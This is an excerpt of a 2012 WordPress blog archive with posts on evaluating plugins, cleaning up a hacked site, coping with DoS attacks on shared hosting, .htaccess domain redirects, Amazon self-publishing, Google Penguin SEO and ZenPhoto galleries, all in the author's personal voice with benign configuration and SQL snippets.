**What does their website look like?** In cases where the developer doesn’t have any core contribs, move on to look at their website. Is it the generic version of WordPress with barely any content? Is it a Geocities flashback? You know crappy websites when you see them, and a crappy website for a developer warns me that they don’t *use* WordPress the way I do. Little to no content implies they’re not writing posts, and if they aren’t writing posts, how do they keep up with the look and feel dynamic of WordPress?
**Is it well documented?** Documentation is king. A plugin that is poorly documented, with poor spelling and grammar (regardless of language), and no screenshots makes me Spock the eyebrow. Not every plugin needs a screenshot, but a plugin should have the basic information included on that page. I’ve started copying my readme content into the contextual help in my plugins, for extra documentation levels. The point is, if the documentation is sparse, either the plugin is really simple, or you’re going to have a bad time of it when you have a problem. Developers, document. It will save you a lot of time.
**How often is it updated?** This is where we start to get weird. The simpler a plugin, the less it needs to be updated. [Impostercide](http://wordpress.org/extend/plugins/impostercide/) has barely changed since WP 2.5. I do update it about once a year, to change the versions, or add internationalization/help screens, etc. The bones of the code have not changed since 2005, and the original version still works just fine. Not every plugin should be updated every month. Now a more complicated plugin, I’d actually like to see it updated more often, with smaller changes. Don’t change it all at once, after all. Review the [Changelog](http://wordpress.org/extend/plugins/impostercide/changelog/) (if they don’t have one, it’s not well documented). See what’s being changed.
**What problems have people had?** Recently the Andy/Otto team made it easier to see the forum posts associated with a plugin, which means it’s easier for you to see how active a developer is with support, and how problematic the plugin is. Many of these issues are user-based (i.e. they’re not sure how to use a plugin), but sometimes they’re actually bugs. Check how many problems have people had, and if they are resolved. This example is a great sign:

**What’s in the Compatibility Matrix?** This is a very complicated thing, but it’s also very telling. Knowing how many people have reported a plugin works or doesn’t work, and getting an average, can help you. Sometimes you have to go back and forth, checking various plugin versions to WordPress releases, to get the whole picture, though, so it can time time to understand what’s going on.
**What Else?** Only now do I take a look at things like downloads, what the author says it’s compatible to, when it was last updated, and what the stars are. Why? Because unless an author has written ‘This plugin will not work on WordPress 3.4!’ in the readme, there’s a darn good chance it’s just fine and they didn’t bother to update. And that pisses off a lot of people.
Look. There’s no feasible way to force the developers to update their plugin documentation right now, and even if we did, there’s no way to assure they got it right! People make mistakes, which is why we have to learn to use our brains and think about what we want to do before we act. Yes, it’s work. As I’ve said many times, running a website is work. It’s always going to be, so at least try to work smarter.
---
I didn’t touch on code reviews at all, but what tips and tricks do you use when you’re collecting all the dots and evaluating a plugin for use?
**Categories:** How It Is, How To
**Tags:** plugins, security, website, wordpress
---
### [Scorched Earth Security](https://halfelf.org/2012/scorched-earth-security/)
**Published:** July 12, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Burn the land and boil the sea. You can't reinfect me.
**Content:**
*This post is dedicated to [Matthew Freeman](http://russellfreeman.me/), who [donated to help me get to WCSF](http://www.indiegogo.com/halfelf-wcsf2012). I have not forgotten coffee.*
[Napoleon’s invasion of Russia](http://hardnewsinc.blogs.com) There’s been a lot of kerfluffle about hacked systems again, especially that the ‘auto upgrade’ isn’t safe. I want to point out that your automatic upgrade of WP and its plugins *is prefectly safe*, if your system hasn’t been infected. Once you’ve been infected, however, it’s a whole different ball game. I subscribe to the salt-the-earth philosophy of cleanup, but more on that in a moment.
Odd as this may sound, I tend *not* to spend any time determining where the hack was. My feeling is that the longer a hack sits on my live server, the worse off I’ll be. If it starts to happen repeatedly, I may look into it more. But generally speaking, a hacked site boils down to some pretty obvious avenues of attack:
1. Insecure password on your server
2. Insecure behaviors
3. Bad plugins/themes/extensions
4. An insecure webserver
You notice that I’m leaving the apps themselves off the list? For the most part, a hugely explioted hack *isn’t* an app vulnerability. Most well used apps, like Drupal and WordPress, are remarkably well tested when it comes to that, and the developers are quite attentive. The weakest point in the [security tripod](https://halfelf.org/2011/exploited-or-victimized/ "Has your site been exploited or victimized?") is going to be the user. When I was exploited, you bet your ass it was 100% on my head, and no one else’s.
So when I see a web-app get hacked, my first thought is not ‘debug from whence it came’ but ‘get the file off the server — now.’ If you leave the hacked files on the server, the odds of your site going down again and again increases, so the very first thing I do is download everything. Every single file, the database, and everything that sits on that server. I back it all up on a computer, preferably one with a good security/virus scan tool, and then I get started on the real work. I’m going to come back to those files and review them, but that’s later. Right now I need to get what I have clean.
Make a list of everything on your server. Separate your ‘personal’ files from the application files. For example, in WordPress I would list my themes and plugins as the ‘application’ files, because I can easily download them from the repository. My ‘personal’ files would be the images in `/wp-content/uploads` and `/wp-content/blogs.dir`, the `.htaccess` file and my `wp-config.php` file.
Now here’s the scary bit. Every file gets deleted off the server. Yes. Every file. When it’s WordPress, I kill it all with fire *except* those personal files.
Then I download fresh copies from WordPress.org (and only WordPress.org) but I don’t copy them up. No, instead I change my server password, and my SQL password. If I’m having an extra neurotic day, I may make a [new SQL id](https://halfelf.org/2012/stand-alone-sql-account/ "Making a Stand Alone SQL Account") and use that instead. Regardless, it’s Password Changing Day. If I used that password *anywhere* else, it gets changed there too.
Still with my site down, I look over my .htaccess and config files with a fine toothed comb. I know what’s supposed to be there, and I know what’s not. I’ll also scan my personal files (all those image folders) for any .php or .htaccess files in there. See, nothing but files I uploaded are supposed to be in there, so if anything is, it’s bad.(If you use caching plugins, you may have other files in there, but you should already know that. Still, it’s best to turn off any caching you have while you rebuild. Change the cache constant in wp-config to off, and remove the cache folders from wp-content.) If I find anything, I delete it (though I will make a note of the time/date that file was updated, and since I have my backup, I can look at it in depth later). I’m also going to make sure permissions are right. I want things to be secure.
Finally I upload every new file back up from my fresh copies, and then make sure my site still works. It should.
It used to be that people told me I was silly for doing this. It was overkill, surely I could just change passwords and remove the infected file. Sure, that might work. The problem is these guys are getting smart. Denis [uncovered a pretty cool (if evil) hack, where your updates are compromised](http://blog.unmaskparasites.com/2012/05/02/malware-piggybacks-on-automatic-wordpress-updates/), and basically from now on, you’re getting hacked code. With my method, you’d be ‘safe’ from that continuing.
Of course, you’re not safe from it happening again, as you could be hacked again, and this is where we have to start digging into logs and sorting out what the hack was and how it happened. And that is a different post all together.
If all of that is too much for you, and it can be, I recommend hiring [Sucuri](http://affl.sucuri.net/?affl=80318fc21285587a2b6888eaabdb28fb). For $90 a year, they’ll monitor your site for you. If that sounds like a lot, that’s $7.50 a month. You can spare the latte.
[](http://affl.sucuri.net/?affl=80318fc21285587a2b6888eaabdb28fb)
**Categories:** How To
**Tags:** hacks, security, wordpress
---
### [DoS/DDoS and You](https://halfelf.org/2012/dosddos-you/)
**Published:** June 28, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** If you're on a VPS you can always bail yourself out of a DoS. If you're on Shared hosting, you're more limited, but not abandoned.
**Content:**
To a lot of people, you say ‘DoS’ and they think [MS DOS](http://en.wikipedia.org/wiki/MS-DOS), that old command line tool we used to control Windows.
DoS stands for denial-of-service attack and DDoS is distributed denial-of-service attack. It’s a fancy way of saying ‘Someone’s hitting my server with a hammer so hard, it can’t get up.’ Sometimes you can cause an accidental DoS, like by embedding an image from your server into a public Google Spreadsheet.(Which would have happened to poor Panos when he [self-attacked](http://www.behind-the-enemy-lines.com/2012/04/google-attack-how-i-self-attacked.html).) And sometimes other people will do it to you by hotlinking your images.(Which is why we block that, children.) Even the [scanning people have done for TimThumb](https://halfelf.org/2011/timthumb-pseudo-ddos-effect/ "TimThumb and the Pseudo (D)DoS Effect") can look like an attack.
Some people like to say that this sort of attack is new, that the Internet used to be good and kind and safe. In the 90s, I remember clearly accidental DoS attacks happening when a site was so popular, having over 500 people log into it at once would crash it. And once it was learned that this happened on accident, it was used as a weapon. Even before then, you could demon dial a number over and over again, until it crashed. I probably just showed my age, but the point is we could always take down a site via overwhelming it, it’s just easier to do it now and not get caught. Picture a thousand people all coming and knocking at your door, or ringing your doorbell, over and over and over.
So now that you have a general idea of what a denial of service attack is, what can you do about it? If you’re on shared hosting, not a whole lot. The vast majority of ‘good’ fixes for this sort of thing has to take place on a server level. It’s sort of like trying to prevent your house from flooding when a water main bursts. You can put up sand bags, but until the city turns off the water, or diverts the flow, you’re probably going to lose.
A lot of people suggest blocking by IP address, or using a tool like [Bad Behavior](http://bad-behavior.ioerror.us/) to stop the trouble making bots. The problem with this is the troublemakers are still ringing the doorbell. Not as many, perhaps, but quite a lot. I’ve said this many times. [IP blocking is a bad idea](https://halfelf.org/2011/blocking-ips-dont/). Yes, blocking by IP address can work, it’s amazingly powerful, and it’s easily circumvented. The [TOR Project](https://www.torproject.org/) is consistently lowering the bar for people to get a new IP even faster than the old days, when I could just re-dial my modem. This is a great thing for groups like Anonymous, and annoying for anyone who has to fight the hidden masses. While I fully support your freedoms, I also retain the right to defend mine, and sometimes that means I have to dig in and sort out how to handle the crazy.
The first thing you can do on Shared Hosting is protect yourself against [hotlinking](http://simple.wikipedia.org/wiki/Hot-linking). I don’t know how many times I’ll have to say it for the world to pay attention, but linking directly to images on someone else’s website, *unless* they specifically say it’s okay, is bad. I firmly feel hotlinking is theft of services (bandwidth) as well. [Please don’t do it](https://halfelf.org/2004/hotlinking/). Every half-baked host in the world now supports mod\_rewrite, so grab [Perishable Press’ ultimate anti-hotlinking strategy](http://perishablepress.com/creating-the-ultimate-htaccess-anti-hotlinking-strategy/) and protect yourself.
Another useful tool is applying the [http:bl](http://www.projecthoneypot.org/httpbl.php) (HTTP Blacklist) to your server. That sounds like a lot of work, but the payoff is surprisingly awesome. You see, catching more flies with honey is easy when Project Honey Pot tracks all the naughty people. Naturally there are [a few WP plugins for that](http://wordpress.org/extend/plugins/tags/httpbl). In addition, if you just need to punt people who are trying to hack you, I would use the [5G Blacklist 2012](http://perishablepress.com/5g-blacklist-2012/) by Perishable Press. Combine that with [Bad Behavior](http://bad-behavior.ioerror.us/) and most script kiddies are turned away without you having to fuss.
That may seem a little contradictory, since I don’t advocate blocking IPs. There’s a subtle difference between you running around blocking every IP for every jerk, and using a well supported tool to do so. When you get around to blocking IP ranges, you shouldn’t be trying to block individual people, but the robots.
If you get hit anyway, the thing to do is contact your webhost and start a dialogue. They’ll be as helpful as they can, and if not, may I suggest [Liquidweb](http://www.liquidweb.com/?RID=JFO123) as an alternative? I pay more because I get great service. A good host will take a look at what’s going on and tweak *their* servers to help carry the load. A good host will help you tweak what you can. Of course, their DOS service runs about $500 a month and I don’t know about you, but I can’t afford that. The little guy has to survive too. Thankfully the other reason I support Liquidweb is that I, as the little guy, get fantastic support. The point is you need to have a good rapport with your host. It’s like they’re your landlord. Respect them, and they come fix your dishwasher ASAP.
Sadly, at the end of it all, the only thing to do about a DOS attack when you’re on shared hosting is to wait it out. Shared hosting is great for what it is, but if that kind of downtime is cutting into your bottom line, you need to consider moving up to the next level. Remember, if this is something that earns you your living, treat it well! It’s like your car. If you make your living driving, you put money into preventative maintenance, and a VPS (or dedicated server) is very much the same. You can only get out of it what you put into it, so put the effort in to make it secure, or hire someone to do if for you. There’s no shame in hiring a mechanic, after all.
**Categories:** How It Works
**Tags:** administration, hosting, htaccess, website
---
### [The Anarchy of .htaccess and Multiple Domains](https://halfelf.org/2012/htaccess-anarchy/)
**Published:** June 20, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Redirecting URLs with .htaccess is easy, right up until you start tossing subdomains and mapped domains into the mix.
**Content:**
When you use domain mapping on a Multisite install (or anything similar, I know Drupal has this too), you run into the issue of sometimes wanting to redirect a URL just for one domain.
Over the 15 years I’ve had this site, I’ve moved my blog posts around from https://ipstenu.org/ to http://blog.ipstenu.org back to https://ipstenu.org/ and then https://ipstenu.org/blog/yyyy/mm/dd/postname to https://ipstenu.org/blog/yyyy/postname and finally to https://ipstenu.org/yyyy/postname And in those years, I’ve managed to *never* slaughter my SEO. Why? Becuase I know the secret magic of .htaccess. I don’t (yet) use nginx, I’m sure that will change one day, so right now my genius is limited to knowing how to do a nice regex redirect in .htaccess.
The majority of this magic comes in two lines:
```
RewriteRule ^blog/([0-9]{4})/([0-9]{2})/(.*)$ https://ipstenu.org/$1/$3 [L,R=301]
RewriteRule ^blog/(.*)$ https://ipstenu.org/$1 [L,R=301]
```
I also have this to handle the blog.ipstenu.org:
```
RewriteCond %{HTTP_HOST} ^blog\.ipstenu\.org [NC]
RewriteRule ^(.*) https://ipstenu.org/$1 [L,R=301]
```
The RewriteCond is the neat bit that says ‘If you come here from blog.ipstenu.org, use the following rule.’ The ` [NC]` is because domains aren’t case sensitive, and we want to CYA.
For my old setup of a single install, this was great. Today I’m using Multisite, and if I used that redirect, then any site on my network would be redirected! If you’re using subfolder Multisite, you don’t need to worry about this at all, since a redirect for `^blog/` will only impact a URL that has the first folder of /blog/. And that’s precisely why it’s a problem for Subdomains and mapped domains (of which I use both). That redirect up there would affect both https://ipstenu.org/blog/monkeys and http://photos.ipstenu.org/blog/monkeys *and* https://halfelf.org/blog/monkeys — and I don’t want any of that. I only want to redirect for those URLs if you’re going to ipstenu.org.
Thankfully, if you look at what I did for redirecting blog.ipstenu.org, you can easily see how to leverage that for this into two checks:
```
RewriteCond %{HTTP_HOST} ^ipstenu\.org [NC]
RewriteRule ^blog/([0-9]{4})/([0-9]{2})/(.*)$ https://ipstenu.org/$1/$3 [L,R=301]
RewriteCond %{HTTP_HOST} ^ipstenu\.org [NC]
RewriteRule ^blog/(.*)$ https://ipstenu.org/$1 [L,R=301]
```
Why did I duplicate the RewriteCond? Typically, you cannot use multiple RewriteRule statements following a single RewriteCond. That means for ever call I make to a domain, I can use but one rewrite rule. There *are* ways around that, but none of them worked well for me.
If you look at halfelf.org, however, the world gets even messier. Half-Elf is the combination of *three* domains. Ouch. Two can point to the same place, one needs to redirect totally differently, and then I have a category merge. Oddly that came out as only three sets.
First we can look for http://code.ipstenu.org and http://tech.ipstenu.org and redirect everything to https://halfelf.org. The trick to this is using `(code|tech)` in my RewriteCond, which really is one of my favorite things. That’s a built in ‘or’ right there, and if I had a hundred subdomains, I could still do that.
```
RewriteCond %{HTTP_HOST} ^(code|tech)\.ipstenu\.org [NC]
RewriteRule ^(.*) https://halfelf.org/$1 [L,R=301]
```
Next we want to redirect http://ebooks.ipstenu.org to https://halfelf.org/my-ebooks/ – notice how I don’t want to redirect it like I did for code and tech. Here, everything gets dumped back to the ebook page:
```
RewriteCond %{HTTP_HOST} ^ebooks\.ipstenu\.org [NC]
RewriteRule ^(.*) https://halfelf.org/my-ebooks/ [L,R=301]
```
Finally I want to tackle the merge of my old categories, and again this is straightforward:
```
RewriteCond %{HTTP_HOST} ^halfelf\.org [NC]
RewriteRule ^category/code/(wordpress|bbpress|buddypress)(.*)?$ https://halfelf.org/tag/wp/ [L,R=301]
```
My actual .htaccess is even crazier, since I have four domains pointing to multisite plus an add-on for my short URLs.
This should get you started on customizing redirects in .htaccess for multiple domains. What are you favorite tricks?
**Categories:** How To
**Tags:** htaccess, website, wordpress
---
### [Amazoned](https://halfelf.org/2012/amazoned/)
**Published:** June 18, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The saga of self publishing. This is not a how-to, but more of a 'this is what I did and why' kind of post.
**Content:**
I don’t actually like Amazon. However the Kindle people spoke and I listened. After checking that, yes, I can release my ebook for sale on the Kindle legally (that was a weird conversation), I sat about doing it. I really wanted to self-publish on lulu, but … well, Amazon was easier. There. I said it. They actually *know* what they’re doing, and made it surprisingly painless! Of course, that they want you to write it in .docx, export to html, then upload a zip, was a little nuts. They also let you upload ePubs, which I have, so that was a lot easier.
I am now a [Amazon Author](https://www.amazon.com/author/ipstenu) or publisher. Whatever. And I have two books up on Amazon:
- [WordPress Multisite 101](http://www.amazon.com/dp/B008BTVD1C)
- [WordPress Multisite 110](http://www.amazon.com/dp/B008BWKT4G)
There’s no DRM on these puppies, and while, yes, it costs $7.99 to download, that’s because Amazon takes a really hefty chunk of change. See for every $5 you donated to me, I got $4.50 from Paypal and WePay. Amazon takes 30% or 65% of your money for every sale. Now I know, you’re thinking ‘Why would anyone pick the 35% option!?’ In the ‘real world,’ publishers give writers around 15% in royalties. Seems like a rip off at first, but look at what goes into all this. Writing, editing, typesetting, printing, binding, shipping, advertising, etc. And I’m skipping all that to go at it alone.
So why would I pick 35% for epublishing, when all they’re doing is webhost plus bandwidth? If you pick 70% royalties, then you get 70% of the cost, minus ‘shipping.’ Shipping, by the way, is electronic delivery. You’re paying for the bandwidth. Fair enough, works out to about $0.05 for every country. But also with 70%, I can *only* charge between $2.99 and $9.99 US for my book. So the max I can charge is $9.99, which will ‘net’ me $6.96. With 35% I can charge up to a couple hundred ($299.99). Now here’s the dillema. How much to charge. If I max out and go to $9.99 (damn it, I wish they’d just say $10!), I may look greedy. Then again, I did all the work here, do I not deserve my $7 per book? To get the $4.50 I was getting via donations, I’d have to charge about $6.75 for the book, at which point I may as well charge $7. Then again, the average donation I got was actually closer to $8.
Which is how I ended up at charging $7.99 you see. I don’t expect to break the bank. Hell, I don’t expect lightning to hit like that again. But it was kinda cool. By the way, you don’t get 70% for all countries, just the ones that allow it. The rest get you 35% instead.
The biggest hassle, other than price, was sorting out the various fields, which in and of themselves, weren’t that hard. Took me an afternoon, and I had the books approved by later that day. I found an error (I’d uploaded the wrong cover, go me) and made a fix, for that I waited a day for the republish and the image to show up. Weird, but not complicated.
I have to say, Amazon is a hassle, but far less than other places that say ‘You need to make an ISBN’ and ‘You must follow these formatting guidelines.’ which are cryptic and … You know, if they really wanted to make things easy, someone would make a nice form where you could upload your book, sans cover and author pages and copyright. Just the book content, right? Then once it’s uploaded, from epub or docx, you create your author ‘page’ and place it where you want (front of TOC or behind) and then copyright page ditto. Finally you upload your cover. If an ISBN is required, you make it for them. Remember, self publishing is something that you should be helping people do! Otherwise what’s the point?
Amazon (mostly) hits that one on all the marks. Why not iBooks, you may ask? The tool sucked. No, really. I wrote a doc in pages (Apple’s version of Word) and you’d think I could upload to iBooks and it would auto-format. Nope. Also there was the restrictive bit. Apple’s terms say that any content produced with iBooks Author that is for sale is to only be available on the iBookstore. Free ones can be distributed anywhere you like, but iBooks Author only exports to the .ibook format (and PDFs) so if you want to free-distribute (which technically is what I do here), you have to use a flat PDF. Okay, that isn’t really terrible, the epub to pdf ratio is 1:70. But then I can’t ‘sell’ on Amazon! Amazon, by the way, only locks me down if I’m using the [KDP Select](https://kdp.amazon.com/self-publishing/KDPSelect) program. At least I think so. I read the legalese a few times.
Fairness to be had, I don’t feel that it’s ‘wrong’ for Amazon or Apple to restrict what you can do when selling your books. It’s free, you get what you pay for, as it were. Both Amazon and Apple take a 30% cut, and all things being equal, Amazon is a better choice. Of course you can still download them ‘for free’ if you want to from my [ebooks page](https://halfelf.org/ebooks). Donations, as always, are welcome.
**Categories:** How It Is
**Tags:** ebooks, multisite, wordpress
---
### [Penguins Just Gotta Be Me](https://halfelf.org/2012/penguins-just-gotta-be-me/)
**Published:** June 15, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The recent Penguin and Panda updates by Google have hammered people. We still don't really know what's going on with that.
**Content:**
Credit – [Gary Larson](http://www.thefarside.com/)Google’s Penguin came out and a lot of people got hammered, hard, by the changes. Penguin is the name of their new/updated algorithm, and it seems to have a lot to do with backlinks.
Backlinks are when other people link to you. Pretty straightforward, but now it appears that people are being *penalized* for backlinks. Is this true? Yes and no. Google used to credit you for all sites that linked back to you, so the more popular you were, the more referral credit you got, the higher you were ranked, and that seems fair. Now, Google’s no longer passing through backlinks from spammers, so your referrals are dropping and people are being ‘penalized.’ But not really. That’s almost like saying you’re getting fewer phone calls after all the telemarketers stopped calling. Yes, you are, but you’re now not getting junk calls, and the ones you are getting are higher quality. The theory here is that everyone is now being judged fairly again, and by omitting the bad people from giving credit, you’ve leveled the playing field. Nice theory. It still feels pretty horrible to find your rankings dropped.
How do you find what happened to your rankings? [Search Engine Journal](http://www.searchenginejournal.com/penguin-or-panda-how-to-determine-which-google-algorithm-update-impacted-your-website/43751/) has a lengthy explanation, but it boils down to looking at your Google Organic traffic and see if you have noticable drops on April 19th, 25th and 27th. That covers both Panda and Penguin.
But what caused it? Is it legit drops or unfair ones? That’s really something easily argued in multiple directions. The basic reason is something in your site, or in your site’s backlinks, has been determined to be spam. It sure feels unfair, because how can you be expected to do anything about what *other* people are doing! They’re the spammers, not you, why are you punished? Again, tis the great equalizer. If you remove all the bad links, what you’re left with may be a lower ranking, but it’s possibly a more honest and accurate one. I say possibly because I’m not able to see behind the Google curtain.
Few of my sites were impacted, though I generally get traffic from Twitter and Google Plus, because that’s where I advertise. Once in a while, a post gets picked up by another WordPress blog or email list like [WP Mail](http://wpmail.me/) or [Matt Mullenweg](http://ma.tt/), and I get 600% traffic. But most of the time I’m pretty steady, increasing slowly and naturally. In part this is because this is my hobby. Certainly I take pride in what I do, but this is not going to make or break me. That’s lent itself to a very odd thing. I’ve managed to follow every single one of Google’s ‘do this!’ suggestions, without ever thinking about it.
What are these rules? They’re obvious and I’ve touted them many times before.
1. Write good content.
2. Don’t spam.
3. Link naturally.
The first two are easy, the last one is a bit weird.
Natural linking is like what I did when linking to Search Engine Journal. I saw a URL, I copied it in, and I put my own description. In addition, I don’t have a massive collection of links anywhere. I link to people and posts in-line, when they come up, and send you around to them in a way like I would if we were talking. In that way, I’m always making backlinks that are valuable for the next guy.
But like I mentioned before, you can’t control other people’s backlinks to you. If you write WordPress themes and plugins, you maybe getting hit by this, and there is something you can do. It’s just that you won’t like it. See one of the things spammers do is use the same link, with the same URL and href attributes, over and over. What happens when you have an attribution link in your theme or plugin? It’s the same link. Over and over. At first glance, that seems horrible, because a theme would be penalized for having a link credit (like I have here) back to their sites. Some people seem to feel this is exactly what’s happening and the current feeling is that putting in the link as nofollow would be a solution.
Sidebar: Yes, I’m aware of the debacle with WPMUDev getting hammered by Google Penguin. Of interest to me was that once they removed EduBlogs (a site they run) from having links back to them, the issue seemed to be resolved. A working theory of mine is that Google saw the hundreds of thousands of ‘self’ backlinks from these sites to the parent and it was felt to be gaming the system. This would explain why WordPress, who runs a gazillion number of sites, didn’t get hit, and why not all themes are getting slaughtered. Personally a better move would have been for Google to just throw those results out the window, but…
Plugins, on the other hand, run by different rules. One of the plugin guidelines is no powered by links at all unless the user actively opts-in.(Themes are permitted one in the footer, or an optional one. In part this is because you only ever have one theme at a time, but you can have multiple plugins.) Having too many links out to the same place would be a problem for your SEO, and a plugin that linked multiple times would hurt you. We already know that Google knows how to check your js for hidden links. Back in 2007/2008 they added in the ability to pase onClick events, and it’s only improved since then. So while in 2008 Matt Cuts said it was safe to put a link in your JavaScript if you didn’t want it searched, that seems to no longer be the case. I’ve spot-checked on a couple sites, comparing them before and after, and studying their configurations, and many that have JS controlled ‘powered by’ links are being hurt.
One major takeaway here is that Google screwed some things up, big time. [A day-zero search on Viagra was buck wild and all wrong.](http://www.php-developer.org/why-google-penguin-update-is-too-risky-for-negative-seo/) It’s fine now, but there’s no way a spammer should have been ranked first on a Viagra search. I’ve complained about how Google prioritizes before, and back in 2009 I declared that [Google’s Blog Search was Irrelevant](https://halfelf.org/2009/googles-blog-search-is-irrelevant/). You couldn’t get a single decent result on anything. With Penguin and Panda, they’ve decided to treat everyone the same, and if a lot of terrible people are using your products, and you have a backlink, you’ll get dinged.
What does all this mean? Well go Google for ‘panda google wordpress’ and you’ll see a lot of people shouting that they’re being penalized, and the ‘nofollow’ fix is hardly a fix at all. More are shouting that those ‘share this’ plugins, which show up multiple times on one page, are causing rankings to drop because the exact same link shows up multiple times. And right now, we don’t know. Like the Viagra problem, Google is fixing a lot of this on the fly. Google says ‘No algorithm is perfect!’ and that is certainly true, but if Google really is just equalizing things, then why were these bad sites so highly ranked to begin with?
If you’re a plugin/theme/designer, I’d put in nofollow to my works for now. First, the link-juice didn’t matter anyway if it was in javascript, and second, what you want is people coming to your site and downloading the perfect theme or plugin. They’re going to shop around, and that will, eventually, lead to more sales. Pushing people is a sales technique that falls flat. There are so many options for themes and plugins, a hard-sell will lose you people. So will stuffing your plugin with every SEO trick you know.
There’s no great answer, and screaming at Google (or WordPress) isn’t going to help. They’re going to do what they want. The best you can do right now is weigh your options between attribution and abuse. Are you really making things better for the users, or are you just doing this for yourself?
**Categories:** How It Is
**Tags:** administration, google, heo, seo
---
### [ZenPhoto and ColorBox](https://halfelf.org/2012/zenphoto-and-colorbox/)
**Published:** June 10, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A weekend spent sorting out ColorBox and how to bring a gallery into the 2010s.
**Content:**
I use ZenPhoto for a gallery on a site that has a pretty hefty (gigs) gallery with many albums and subalbums. It’s too big for WordPress, in my experience, and so I picked up ZenPhoto as sort of the WP of the gallery world. Not knocking WP, it’s great for text, but sorting and organizing images are a hassle. The flip side to this is that getting straight directions on how to do anything in ZenPhoto makes me bang my head on the wall.
See, WordPress has a lot of people involved, so the forums are filled with people who’ve been there before. And these people come from a varied array of talents, so some are designers, some programers, and some users. This means the documentation, while lacking in many respects, is actually a pretty awesome display of crowd-sourcing when you compare it to other web apps. The worst part is there’s no perfect way to replicate this dynamic. ZenPhoto is still relatively young, even though it’s only a year younger than nine year old WordPress! MediaWiki (at 11) is older than both, but ‘behaves’ more like the middle child, if you really want to break your head on things.
It’s a lot to do with goals, and you can’t knock any one tool for the other. They have their places. I would never try to blog on MediaWiki, nor would I put a seriously hard-core gallery on WordPress. ZenPhoto has branched out into ZenPage, a simple CMS, but personally I’d rather see them optimize the hell out of their back end, which could use some UI love. Still, a lot of its simplicity is why I chose to use it instead of, say, Gallery or Coppermine.
But the help is still lacking, so today was a bit of a wrangling and head bashing.
What I want is, you’d think, straightforward: How do I edit the default theme of [ZenPhoto](http://zenphoto.org) to include [ColorBox](http://www.jacklmoore.com/colorbox)? If you ask this on the ZenPhoto forums, you get an understandably annoyed mod saying ‘This has been asked before.’ I feel for them, but as a mod and a user, I look at that and think ‘If people keep asking and you can’t give them a link to how to do it, something’s not right.’
The directions I found in the forums never worked, but it wasn’t long before I realized why. There were simple typos. So here’s how you can turn on ColorBox for ZenPhoto.

**1. Activate the Plugin**
This is a duh moment, but go Admin -> Plugins and check ColorBox. You *do not* need slideshow.
**2. Make sure ColorBox is on for your theme**
Go to Admin -> Options -> Plugins and click on ColorBox. Then find your theme and make sure that the pages you want to run ColorBox on are checked. I only wanted it to run on albums, so that’s all I checked.
**3. Edit your theme**
This is where everyone’s directions fell apart for me. Since I only want it on albums, I went to my default theme copy and set my image section to look like this:
```
**Categories:** How To
**Tags:** cms, coding, plugins, website, zenphoto
---
### [On The Segregation of Code](https://halfelf.org/2012/code-segregation/)
**Published:** June 5, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Stop trying to move your content. Separate code from Content and your life will be easier.
**Content:**
WordPress stores your URLs in the database as the full URL. That is to say all the links to other pages on your site, all the images, use the full path.
When I changed this site from tech.ipstenu.org to halfelf.org, I knew that meant I’d need to do a quick search/replace in the database. That meant first I searched wp\_2\_posts for everything saying tech.ipstenu and replaced it with halfelf. Then I did the same in wp\_posts (since I knew I’d done some of that). I did this directly in SQL because I can, and I believe in using the right tool for the job. To whit:
```
UPDATE wp_2_posts SET post_content = REPLACE (
post_content,
'tech.ipstenu',
'halfelf');
```
That code searched all my posts and changed the URLs so my images looked right. Now, since I’m using a domain mapping plugin, I don’t need to go in and change wp\_blogs, which I would be very hesitant to do anyway. I’d sooner make a new site with the same name (either manually or via a replicator), delete the old one, and use .htaccess to redirect.
Why would I do all this? Well, because WordPress stores URLs in a non-relative way. The link to my about page is https://halfelf.org/about, not just /about, and that screams in the face of what I learned back when we all agreed that paying for Netscape as a browser wasn’t a terrible idea.
The real question people are asking is *why* are we this way?
There are a lot of arguments, one is that you shouldn’t change your URLs. Another is that WP is written for the user, not the developer. A third is that you’re trying to force *your* process on a tool, when you should really develop the process *for* the tool. That third argument is where I live. I believe in being adaptable, while I want all my code to be flexible, adaptable and fluid, there’s a time and place for the flexibility being the code, and the flexibility being me. In the case of URLs, I think the flexibility *must* be mine.
In the ‘real’ world, you should never change your URLs, and if you do you always have the old ones forwarding to the new ones. Go on, go to and where do you end up? That’s because the plugin works. Go to or even and see what happens. That’s because I forward those (obvious) URLs to where they should be. I know that people can adapt to change, but I can help with them a well crafted .htaccess rule. That’s flexibility in my code.
When we take another step back and consider the flexibility of code, we muddle that up quite nicely with the flexibility of *content*. These are different things. Code should be flexible and adapt to any situation you put it in, but *you* need to be flexible to adapt your content to the situation. Content cannot be considered in the same breath as code, because they are segregated by their very nature. We should be able to pick up our content and plunk it down in any code, and have it work equally well. This argument was fought, and won, by CSS back in the day. So how does this work with URLs? They’re in my content as links, and if I change them, I have to change my content.
Let’s take the example of building a site locally. Personally, I use a hosts file to make halfelf.loc so that when I’m done building it all out, I export the DB, replace halfelf.loc with halfelf.org, and I’m done. Why do I pick halfelf.*loc*? If you’ve been here before, you may remember I wrote about [Moving Multisite](https://halfelf.org/2012/moving-wordpress-multisite/). In there I mention serialization. That’s why. Searching for domain.loc and replacing with domain.org will *not* break serialization! This is, some claim, a ‘bush league’ maneuver (yes, zamoose, I heard you), but have you ever tried to move an application on your desktop to a new location? You have something installed in `Program Files`, let’s say, and you want to move that to `Program Files/Half Elf`? Congratulations, you get to search the whole registry!
See, it’s not just WordPress. This isn’t an excuse, but a statement of fact. Many applications on the web *don’t* use relative paths, and they *do* force you to search/replace things to move to a new location. This is especially the case when you think about how we write links. Some people use the link interface, which if used, could insert variables for ‘base path.’ But some of us use the old fashioned manual way, and now you have to code a really fancy bit to check “Did Ipstenu post a link to myself? If so, I need to change `halfelf.org/foobar` into `[basepath]/foobar` so I can update it later if I move.” Certainly it can be done, but it’s actually going to be easier to just search/replace. The ‘more’ you search for, the easier it gets. I actually know someone who did this. He says it was more trouble that it’s worth.
